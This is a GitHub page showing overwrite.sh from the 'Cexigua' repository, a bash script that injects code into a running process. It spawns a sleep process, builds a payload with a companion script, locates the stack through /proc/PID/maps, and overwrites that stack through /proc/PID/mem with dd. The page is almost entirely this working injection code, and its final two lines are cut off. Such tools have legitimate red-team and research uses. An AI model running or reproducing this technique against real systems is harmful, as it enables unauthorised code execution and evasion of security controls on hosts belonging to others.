Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

AonCyberLabs / Cexigua Public

Notifications Fork 40 Star 238

Code Issues Pull requests Actions Projects Security Insights

Files

34d3386

Go to file

- LICENSE
- README.md
- memfdcreate.sh
- overwrite.sh
- payload.sh
- readsyms.sh
- utils.sh

Cexigua / overwrite.sh

rorymcnamara Add copyright 34d3386 · 7 years ago History

Code Blame 38 lines (31 loc) · 1.1 KB Raw

```
#!/bin/bash
# Copyright (c) 2017 Rory McNamara

STARTTIME=$(date +%s)
SLEEPLEN=30
echo "Preparing for exploitation, finding LD_PRELOAD if necessary" >&2
sleep 30 2>/dev/null &
PID=$!
TARGET=${1}
PRELOAD=$(bash payload.sh ${PID} ${TARGET} PREPARE 2>preload.log)
[[ ! $? -eq 0 ]] && exit 1

if [[ ! -z "${PRELOAD[@]}" ]]; then
        echo "Ready to exploit, with LD_PRELOAD=\"${PRELOAD[@]}\"" >&2
else
        echo "Ready to exploit, without LD_PRELOAD" >&2
fi

LD_PRELOAD="${PRELOAD[@]}" sleep ${SLEEPLEN} 2>/dev/null &
PID=$!
echo pid: ${PID} >&2
bash payload.sh ${PID} $@
[[ ! $? -eq 0 ]] && exit 1

echo "Payload generated, injecting..." >&2

MAPFILE=($(</proc/${PID}/maps))
for ((i=0; i<${#MAPFILE[@]}; i++)); do
        [[ ${MAPFILE[${i}]} = "[stack]" ]] && break
done
STACKRANGE=${MAPFILE[$((${i}-5))]}

IFS="-" read -r -a STACK <<< "${STACKRANGE}"
PAYLOADSIZE=$(($((16#${STACK[1]}))-$((16#${STACK[0]}))))

echo "Overwriting stack..." >&2
echo "Be patient for sleep to terminate (approx $((${SLEEPLEN}-$(($(date +%s)-${STARTTI
exec dd if=payload.bin of=/proc/${PID}/mem seek=$((16#${STACK[0]})) conv=notrunc status
```